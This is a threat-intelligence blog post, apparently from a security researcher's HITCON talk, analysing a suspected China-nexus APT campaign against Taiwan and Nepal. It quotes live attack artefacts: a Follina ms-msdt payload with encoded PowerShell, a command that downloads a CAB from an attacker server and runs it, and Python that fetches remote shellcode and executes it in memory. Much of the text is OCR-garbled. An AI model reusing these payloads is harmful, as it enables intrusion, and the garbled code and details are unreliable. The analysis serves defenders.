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This blog post is based on “GroundPeony: Crawling with Malice” that we presented at HITCON CMT 2023.
We are grateful to HITCON for giving us the opportunity to present.

https://hitcon.org/2023/CMT/en/agenda/e8fe6942-9¢c60-419a-b9a0-dbda80a27ad0/

Presentation material (PDF) is here.

Abstract

In March 2023, we discovered a cyber attack campaign targeting Taiwanese government agencies. The
campaign employed devious tactics such as tampering with legitimate websites to distribute malware, using
URL obfuscation, and employing multi-stage loaders. In this post, we will first provide an overview of this
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attack campaign and share the analysis results of the malware used. Through this, the reader will be able to
understand the latest attack cases targeting Taiwan.

As a result of our investigation, we suspect that this attack campaign was orchestrated by a China-nexus
attack group. We will discuss the specific evidence supporting this assumption, and trace back to past attack
campaigns. Past campaigns include attacks that exploted the CVE-2022-30190, known as Follina, at the
zero-day stage. These studies enable to understand attacker’s motivations and attack backgrounds.

This post will enable SOC analysts, IR team members, CSIRT personnel, and others to gain a deep
understanding of the latest APT attack trends targeting East and South Asia including Taiwan that have
never been reported so far, and to take concrete countermeasures.

GroundPeony

The name “GroundPeony” was created by us and is not generally known. Based on our reading of the few

public reports, we believe they are identical or close to the group dubbed UNC3347’ by Mandiant. Active
since at least 2021, it targets government organizations in East and South Asia, specifically Taiwan and
Nepal.

There are two points to note about this group. First, GroudPeony exploits zero-day vulnerability. Specifically,
it was the earliest exploiting CVE-2022-30190, also known as Follina. Follina itself is not very complex
vulnerability, but it is speculated that this group could develop or have access to a zero-day. This is very
interesting. Second, GroundPeony compromised websites for malware distribution. In the past case, Nepal’s
government website was compromised.

For these reasons, GroundPeony is considered to be an APT group with high attack skill and attack
motivation.

Timeline

This is a quick look at GroundPeony’s attack timeline.
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2023-03
Taiwan, Nepal,
South Korea

2022-04
Nepal, India 2022-06
Hong Kong

Follina (CVE-2022-30190) Recent Campaign

The malware has existed on VirusTotal since around 2021. The oldest attack campaign we know is from
April to June 2022. Around this time, Follina was exploited to attack Nepal, India, and other countries.

After that, we forgot about them for a while, but they started attacking again around March 2023. At this time,
they attacked Taiwan and Nepal. In this post, we will deal with the case of April 2022 and March 2023.

Latest Attack Flow

Let’s look at a specific case. The first is the attack on the Taiwanese government that occurred in March
2023.

DOC ZIP EXE

o Q
ompro U & e e

The attack started from spear-phishing email. The email has a DOC file attached. And, a URL is written in
the DOC file, and the ZIP file is downloaded by the URL. The ZIP file contains EXE file and DLL file. And
executing them, infects malware.
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The spear-phishing email looked like this. It is about discussions on maritime issues between Taiwan and the
USA. This time, | put a mosaic in the image, but the destination was the Taiwanese government
organication. Also, the source is cable TV company in Taiwan. Attached to the email is a DOC file with the
file name “Regarding bilateral consultations with the USA”.

SRERRER-RE@.doc - BHRE-F - 20 PCIRIEES -

TPAL A-h @A FHO 479k STEN ELANE BM  BR AT

& st
A A A Al | = | == HTE HTE HTE HTE [ 78 & Z &HTH @
B e - iy | R = = - o k2 BEAS 70
8 ot S=E=E=EE - . - - - - / F-2a
JRIR-F Tk B 2510 R_E & | 17— A
Pu}
ZERBUBIR AR 22 3¢ Kb7102381908 Hli T, % 7 RIRAEIN %24, Microsoft [ aNINE 13U
BUE N ©
WA SO, WS RI/EE 28 E ST B8 hetps://www. catalog. update. microsoft. conéeutt. 1y/c40JUR
I TR RE T .
o
% X {1 Microsoft Office SecurePoint /* 2023 43 /717 H 4. <
o
1A-3 12XF [R =&ECE) B0z BE B - 1 + 150%

When open the attached DOC file, it looks like this. It pretends to have an error instead of something like a

file name. It says to apply an update to resolve the error. The URL is written for the download of the update.
When try to download the update file from this URL, it actually downloads ZIP file containing malware.
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User Information
(Not Host Information)

The URL used at this time is very strange. At first glance, it may look like a legitimate Microsoft website. But,
due to the structure of the URL, the original host information is Cuttly.

When access this URL, you will access to Cuttly. And it will redirect to ZIP file. At this time, the URL
redirected from Cuttly was the website of a Taiwanese educational institution. But, this website was
compromised, and a ZIP file containing malware was placed.

Archive: Kb5002372934.zip
Length Date Time Name
® 2023-03-17 10:43 Kb5002372934/
® 2023-03-17 10:43 Kb5002372934/RMLT 2T/
0 2023-03-17 10:33  Kb5002372934/FRME LM T /SRECYCLE.BIN .
259696 2023-03-14 23:58  Kb5002372934/ZER LM T ASRECYCLE . BINYo/docx [RRELEILELI:
5120 2023-03-14 23:58 Kb5002372934/FRMREL L% T //SRECYCLE . BINY
60949 2023-03-14 23:58 Kb5002372934/RIRE 4T //SRECYCLE.BIN)c.docx
66 2023-03-14 23:58 Kb5002372934/RMREL LM T /ASRECYCLE.BINYd.docx
103936 2023-03-14 23:58 Kb5002372934/RMEZ LT /Install.exe
103936 2023-03-14 23:58 Kb5002372934/ %KL LM T /RHEL LM T .exe
2121 2023-03-17 10:43 Kb5002372934/ %KLL T /BRI EHRA. txt

535824 10 files

The ZIP file contains 2 EXE files, one TXT file, and one directory named “SRECYCLE.BIN” that looks like
Windows trash box. There are 4 files in the SRECYCLE.BIN directory, all with the DOCX extension. But
these are not DOCX files. They are actually malware.

By the way, did you notice that the update number written in the DOC file and the ZIP file are different? We
don’t know if this was simply a mistake by the attacker or a remnant of another ongoing attack campaign.
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Archive: Kb5002372934.zip
Length Date Time Name

0 2023-03-17 10:43 Kb5002B72934/ %KLL T/
0 2023-03-17 10:33  Kb50@2372934/FRHL LM T /SRECYCLE . BIN/

Miss match KB number &

ZE BN BRI SRS A 2235 |[Kb7102381908 | 4fi 17, %45 ¥ VRRZEI) 224>, Microsoft EaNNES ¥ Ok
BIENE . «

Malware Analysis

Let’s take a look at how malware is executed. First, there are 2 files with the EXE extension included in the
ZIP file, A%t &4 %87 .exe and Install.exe. But the behavior is the same.

When the EXE file is executed, the 4 files placed in SRECYCLE.BIN will be copied to the mic directory under
the ProgramData directory. At this time, the names of the 4 files are also changed. The 4 files are renamed
to mic.exe, version.dll, mic.doc and mic.ver. And then, mic.exe is executed.

mic.exe is a legitimate file with a digital signature. But, it loads version.dll which exists in the same directory.
When version.dll is executed by DLL Side-Loading, it loads and decrypts mic.doc. The decryption result is
malware we call “micDown”

£ R
B [2}
2 i exe . de-Load
oxe EXE DLL
on oad & De D — = =
DOCX @DOCX Rename eC Sepve

DOC
:

DOCX JDOCX ™=

1. mic.exe
o Legitimate EXE file with a digital signature

2. version.dll
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o DLL for Side-Loading

o Shellcode launcher for mic.doc
3. mic.doc

o Shellcode downloader (micDown)
4. mic.ver

o Config file for micDown

Decoding of version.dll process is in two steps. First version.dll decodes mic.doc and executes it as
shellcode. The shellcode further decodes itself and continues execution.

1. Decoding shellcode 2. Self decoding

DLL

version.dll mic.doc mic.doc

The export function of version.dll is very simple. First, it reads mic.doc into the memory area allocated by
VirtualAlloc with read, write, and execute permissions. Then, it decodes that data with a custom XOR
algorithm that combines sub, xor add instructions. When decoding is complete, the process moves to the
memory area where the decoded shellcode is located.

loc_16661163: ; CODE XREF: VerQueryValuelH189i
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FileAa; // esi
void *code; //

———

memset(Filename, @,

ad i@
tModu 1leNameA(8,

= &Filename[strlen(Filename} +

x18du);
1] - &Filename[1]

ub_1e881248)();

;ilEHaTE[VE]
w6 = strlen{Filename);
*(_WORD *)&Filename[ve] =

( i =@; i < Number
*((_BYTE *)code + i)
return ((int (*)(void))code)(

The decoded shellcode uses the same custom XOR algorithm as before. The RtIDecompressBuffer is then
used to decompress. The shellcode is decoded from the beginning of the file, excluding jump instruction.

45000 : GRBREDTA b, ; RtlDecompressBuffer
j short loc_ EDES
ebx, ; LoadLibrarys
short loc_EDDE
eho, : Virtualalloc
short loc_EDCE
eho, » GetProcAddress
short loc_EDB4
3 memcpy

[ecxtedi*2]

loc_EB49:




The decoded code executes the executable with the MZ header removed. It also decodes the data in mic.ver

and uses it as a configuration. Finally, it downloads and executes the shellcode from the C&C server, saved
in the config.

 return (wvoid
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offsec(n) 00 01 02 03 04 05 06 07 08 0% QR OB OC QD OE oF T —-MENETHIR

00000000 o 00 00 00 00 00 00 00 OO0 00 00 00 00 00 00 00 fivuevevenevennn.
00000010 00 00 00 00 00 00 00 00 00 OO0 00 00 00 00 00 00  +ueveennnnnsnnn.
00000020 00 00 00 00 00 00 00 00 00 OO0 00 00 00 00 00 00  +ueeeennnnnnnnn.
00000030 00 00 00 00 00 00 00 00 00 OO0 00 00 08 01 00 00 +ueeeennnnnsnnn.
00000040 ©0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  +ueeeennnnnsssns
00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  +ueeeennnnnsssns
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  wueeeennnnnsssns
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  wueeeennnnnsssns
00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +ueeeennnnnsssns
00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  wueeeennnnnsssns
0O0OCCAC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  +uvveennnnnnnnn.
000000BO 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  wuuerennnnnsnnn.
000000CO 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +uvveennnnnsnnn.
000000DO 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  wueeeennnnnsnnn.
0O00CCEC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  +ueeeennnnnsnnn.
0000COFO 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  +uwveennnnnnnnn.
00000100 00 00 00 00 00 00 00 00 00 OO0 00 00 4C 01 05 00 +uvveennnnn. L...
00000110 OR 82 2B €7 00 00 00 00 00 00 00 00 EO 00 02 01 ., +G........ A...
00000120 OB 01 OE 1D 00 C2 00 0O 00 24 00 00 00 00 00 00 ..... Euvvimennnns
00000130 4D 15 00 00 00 10 00 00 00 E0 00 00 00 00 40 00 M........ Ad...L R
00000140 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00  wuueeennnnnsnnn.
00000150 06 00 00 00 00 00 00 00 00 20 Ol 00 00 00 00 .uunnnn.. €.,
00000160 00 00 00 00 02 00 40 21 00 00 10 00 00 10 00 00 ...... Bevennnn..
00000170 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 +ueeeennnnnnnnn.
00000180 00 00 00 00 00 00 00 00 84 37 Ol 00 3C 00 00 00 ........ P B
00000190 00 &C 00 EO 01 00 00 00 OO0 00 00 00 00 00 00 . ..deesuunssn..
000001AC 00 00 00 00 00 00 00 00 00 70 Ol 00 EO 00 00 .uunnnnn. =T T
000001BO CO 2C Ol 00 38 00 00 00 00 OO 00 00 00 00 00 00 A&,..8...........
000001CO 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +uevrennsnnssses
000001D0 F8 2C 01 00 40 00 00 00 00 00 00 00 00 00 00 00 &, ..@..uiuiun.....
000001ED 00 EC G 01 00 00 00 00 00 00 00 00 00 00 .&..B...ceenunn.
0000C1F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +ueveennsnnssses
00000200 2E 74 65 78 74 00 00 00 23 C6 00 00 00 10 00 00 .text...$E......
00000210 00 C8 00 00 00 04 00 00 00 OO0 00 00 00 00 00 00 .E......i.iunn....
00000220 00 00 00 00 20 00 00 &C 64 €1 74 61 00 00 .... .. .rdata..
00000230 FO 5D 00 00 00 EO 00 OC 00 00 00 CC 00 00 &]...&...~...I..
00000240 00 00 00 00 00 00 00 00 00 OO0 00 00 40 00 00 40  ...eveennn.. ..@
00000250 2E 61 74 €1 00 00 0O 04 13 00 0O 00 40 01 00 .dat&........ e..
00000260 00 00 00 00 22 01 00 00 00 00 00 00 00 00 00 ..... K i
COnna>T0 oo o0 o0 o0 40 o0 o0 oo PFOTE T3 O7TT ORS00 00 nOn 1] .'ﬂ. rarr
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The shellcode is encoded with an algorithm similar to that of a previous file. It differs slightly from the file
encoding algorithm in that the order of the add,sub,xor instruction is swapped.

loc_4m1142:

Mo

add

xor

sub

mow

inc

cmp :

jh 5 ll::c_4IE:114'.7;'
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Mo
lea
add
inc
Xor
sub
mow
mow

cmp
jb

r ¥ [:_DL-._II:]F{I::' * | code -

The encoded config consists of a 0x40 byte C&C host area and a 0x2 byte port area. The IP address at this
time was 103[.]199.17.184.

F I in range(file size):
dec = buf[i]
dec = (((dec +

FI-RENETHFAR

103.199.17.184..

Related File
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An attack similar to the Taiwanese attack we have previously described was also carried out in Nepal.
Although the specific origin of the attack is unknown, a legitimate website was compromised and a ZIP file
was installed, as was the case in Taiwan.

The legitimate website that was compromised was the Nepalese government’'s COVID-19 vaccine-related
website. For reference, China is known to have provided vaccines to Nepal as part of its One Belt, One

Road partnershipz. It is unclear what this has to do with the attacking campaing.

In the attack against Nepal, app.onedrivo[.] com was used as the C&C server. The domain was taken using
PublicDomainRegistry. More on this domain later.

In the attack against Nepal, the malware behaves the same way. When the EXE file is executed, it copies
and renames the file and executes mic.exe. mic.exe sideloads version.dll. Then version.dll will read, decode
and execute mic.doc. The malware executed was the same as the previous one, called micDown.

v 57 e [©)

SE EXE DLL

DOCXgDOCX 2 aname

W=

=

DOCXpuDOCX | ..

°

Related Past Campaign

The C&C server used in the previous attack on Nepal has been used in other attacks in the past. The attack
on Nepal occurred in April 2022. At that time, this group exploited CVE-2022-30190, also known as Follina.
Finally, the CobaltStrike beacon is executed. This domain was used as the server to download this
CobaltStrike and as the C&C server.
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CAB EXE

DOCX HTML

The DOCX file that served as the decoy is a statement of accusation by a person claiming to be a student at
Kathmandu University. We do not know the authenticity of this accusation.

My name is Jeena Sharma, 23 years old.| live in Kathmandu and | am a graduate

student of Kathmandu University.<

I'm exposing Nitesh Pariyar now. He's a liar! «

He deceived my feelings and body. After sleeping and having sex with me, he
promised to let me join NCELL company and become his private secretary. He also
said he would marry me. ¢

He is a complete liar!!l«

After he slept with me and had sex, he ignored me, didn't answer my phone or any
message, and pretended not to know mel«

When he was dating me, he lied to me that his name was sum, but after my follow-

This DOCX file contains the external link settings. This will load the HTML file. The HTML file contains
JavaScript code to change the location. The modified location is written with the scheme ms-msdt. This is
the scheme for the Microsoft Support Diagnostic Tool. However,a bug existed in this that allowed PowerShell
code to be executed. So, PowerShell code to be executed from a DOCX file.
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Relationship I rIdo9e"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
Target=[https://exchange.oufca.com.au/aspnet_client/poc.html!"] TargetMode="External”

Archive: Exposing_Nitesh_Pariyar_Liar!!!.dcc
Name
2022-04-07 8 [Content_Types<].xml
2022-04-07 8 docProps/app.)ml

window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /
param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu

2022-04-07 g docProps/core Jxml IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($

2022-04-07 09: word/document /xml (Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58
1770 2022-04-07 09: word/endnotes .xml +'UTF8.GetString([System.Convert]'+[char]58+[char]58

1359 2022-04-07 09: word/fontTable . xmL +'FromBase64string(*+[char]34
1776 2022-04-87 09: e +'U3RhcnQtUHIVY2VzcyAkY21kIC13aW5kb3dzdH1sZSBoaWRkZWAGLUFyZ3VtZW50T

3575 2022-04-07 . word/settings \xml GlzdCAiL2MgcnVuzZGxsMzIuzXh1IHBjd3VebC5kbGws TGF1bmNoQXBwbG1ljYXRpb24g
29697 2022-04-07 09: word/styles. x|l JGNtZCI7IGNtZCA9ICIjO1x3alW5kb3dzXHNSCc3R1bTMYXGNtZC51eGUiO1INOYXIOLVB
576 2022-04-07 . word/webSettirlgs . xml yb2N1c3MgIGNtZCAtd21uZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIiojIH
89597 2022-04-07 . word/media/imzgel.IPG Rhc2traWxsICOmICI9pbSBtc2ROLMVAZSI7U3RhcnQtUHIVY2VzcyAkY21kIC13aW5kb
104253 2022-04-07 : word/media/imége2. jpg 3dzdH1sZSBoaWRkZWA4gLUFyZ3VtZW50TG1zdCAiL2MgY2QgQzpcdXNlcnNccHVibGlj
8398 2022-04-07 : word/theme/themel . xml XCYmcG93ZXJzaGVsbCBpd3IgLXVyaSBodHRwczovL2VAY2hhbmd1Lm91ZmNhLmNvbS5
1542 2022-04-07 : word/_rels/document.xml.rels hdS9hc3BuzZXRfY2xpZW50L3R1c3QuY2FiIC1vVIHR1c3QuY2FiJiZz1leHBhbmQgdGVzdC
2022-04-07 09: rels/.rels 5JYWIgYWIFLmMVAZSYmYWIjLmVAZSI7 '+[char]34+'))"'))))
n ifec/eded oo oo oo )/ . /Mindows/System32/
255907 15 files mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";

The PowerShell code is downloaded, extracted and executed to a CAB file from the server.

Start-Process $cmd -windowstyle hidden -ArgumentList "/c rundll32.exe pcwutl.dll,lLaunchApplication $cmd";
$cmd = "c:\windows\system32\cmd.exe";

Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";

Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\users\public\&&powershell iwr -uri
https://exchange.oufca.com.au/aspnet_client/test.cab -o test.cab&expand test.cab abc.exe&&abc.exe";

Inside the CAB file is an EXE file made by Pylnstaller. This EXE is a downloader. And can be downloaded
from onedrivo[.Jcom and run the CobaltStrike beacon.

Download & Execute oL —
Cobaltstrike beacon e Bl =3

abc.exe onedrivo.com
(160.20.145.111)

Attribution

Let us consider the attribution of this group. To begin with, it is important when this group was exploiting
Follina. Follina was finally exploited by a very large number of APT groups. But that was after the details
were made public. Here is the timeline.
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2022-05-27

2022-04-12 Belarus (UNC3819)

Belarus (UNC3819)

2022-04-07
Nepal (UNC3347)

2022-05-27 2022-06-08
Reported by e

2022-04-08 2022-04-12 nao_ sec Hong Kong

- Reported b UNC3347
India (UNC3347) ShgdowChaszngl ( )

2022-06-14
L_________________________________________________J Microsoft Released patch

Completely Zero-day

The first time Follina became known to the public was through our tweets. We discovered the Follina sample
against Belarus on May 27 and tweeted about it. Since then, detailed explanatory blogs have been published
and PoCs have been released.

Going back earlier, a vulnerability was reported to Microsoft by the ShadowChasing group on April 12.
However, Microsoft did not acknowledge it as a vulnerability at that time. The attack reported is also against
Belarus.

Let’'s go back further. In our research, we found samples from April 7 and 8. These are attacks against Nepal
and India. We believe this is the earliest Follina sample. And these are the attacks by the group Mandiant
calls UNC3347, which we call GroundPeony.

In other words, GroundPeony was exploiting Follina during a perfect zero-day period. Various organizations
have written reports about Follina exploits, but China-nexus is the only group that has exploited Follina
during zero-day periods. Therefore, we believe GroundPeony is the only China-nexus APT group with zero-
day access.

Let’s look at another indicator. We analyzed an EXE file made by Pylnstaller that is executed after the Follina
exploit. The Pylnstaller binary can easily decompile the Python code. The extracted file looked like this.
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new_code = urllib.request.urlopen('http://www.onedrivo.com/b64 code.txt"').read()
for i in range(4):
new_code = base64.b64decode(a2b_hex(new_code))
new_code =codecs.escape_decode(new_code)[0]
new_code = bytearray(new_code)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(@), ctypes.c_int(len(new_code)), ctypes.c_int(©x3000), ctypes.c_int(©x40))

buf = (ctypes.c_char * len(new_code)).from_buffer(new_code)
ctypes.windll.kernel32.Rt1MoveMemory (

ctypes.c_uinteé4(ptr),

buf,

ctypes.c_int(len(new_code))

handle = ctypes.windll.kernel32.CreateThread(

ctypes.c_int(0),#EEILZEEIE
ctypes.c_int(0),##JiaHE
ctypes.c_uinte4(ptr) , #i5mEIaHBIE
ctypes.c_int(0),#ig5EHE{AIZ2E40
ctypes.c_int(e), i
ctypes.pointer(ctypes.c_int(0))

)

dsfbw ,tal, ittt 'Fr, 0, 'Y, s, i, e, Mg, LY, e, 00, ', g, e, e, ]
asjdce = ''.join(dsfbw)

mndskkfhsj = 'ctypes.windll.kernel32.' + asjdce + '(ctypes.c_int(handle),ctypes.c_int(-1))’
exec (mndskkfhsj)

A large amount of Chinese comments were written. Also, the code was copy-pasted from various public
repositories, but most of it was written by Chinese developer. This is a very elementary mistake. However, it
is highly likely that the person who created the malware is a native Chinese speaker.

We tried mapping the victim (or presumed to be). A very interesting diagram. What does this mean?
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Adversary

Spear-Phishing email
Shortened URL GroundPeony
Zero-day exploit * aka UNC3347
* Follina (CVE-2022-30190)
Malware
* CobaltStrike
* micDown
DLL Side-Loading

* China-nexus threat group
* Active since at least 2021

Capabilities Infrastructure

Compromised website
. Domain
South / East Asia * PublicDomainRegistry
e Taiwan, Hong Kong, South Korea,

Nepal, India AS63734 (365 Online technology
Government, research / educational joint stock company)
institute, telecom AS55720 (Gigabit Hosting Sdn Bhd)

.V AS 30823 (combahton GmbH)
Victims




GroundPeony, also known as UNC3347, is a China-nexus APT group. They have been active since at least
2021. They target East and South Asia like Taiwan and Nepal. In particular, they seem to be targeting
government agencies, research institutions, and telecoms.

The attacks begin with spear phishing emails. They compromised legitimate websites and use them for their
attacks. There was nothing unique about the IP addresses used, and no connection to the victim country
could be found. GroundPeony also provides zero-day access. Besides popular tools such as CobaltStrike,
they also use group’s original malware.

Wrap-Up

GroundPeony is an APT group of which little is known so far. It is believed to be China-nexus. It is targeting
East and South Asian countries like Taiwan and Nepal. In particular, they seem to be targeting government
agencies, research institutions, and telecoms.

One point worth noting is their use of zero-day. Follina was exploited in its early period. This group also
compromised legitimate websites and install malware. GroundPeony is an aggressive APT group. Please
keep an eye on their future developments.

loC

e 103[.]199.17.184

e 160[.]20.145.111

e 172[.]93.189.239

e *.onedrivo[.Jcom

e 1992b552bdaf93caeb470f94b4bfo1e0157bad4a9bb92fb8430be946c0ddabdeb
e 425630cc8be2a7dc2626ccd927bb45e5d40c1cb606bb5b2a7e8928df010af7c9
e fa6510a84929a0c49d91b3887189fca5a310129912d8e7d14fed062e9446af7e
e 142a027d78c7ab5b425c2b849b347952196b03618e4ad74452dbe2ed4e3f73cd
e d1989ca12426ed368816ce00f08975dc1f1e4f474592523c40f9af344a57b49

o 6e13eb5c7fcbafc47df259f2565efaed51bc1d021010¢51673a7c455b5d4dad2b

o ef611e07e9d7e20ed3d215e4f407a7a7ca9f64308905¢c37e53df39f8a5bcbb3c

e 7b814e43af86a84b9ad16d47f9c74dad484ea69903ef0fbe40ec62ba123d83a9a
o f3e0a3dd3d97ccc23c4ceel0fd9c247dbe79fbf39bcOae9152d4676c96e46e483
e 50182fcadc22c7dde7b8392ceb4c0fef67129f7dc386631e6db39dec73537705
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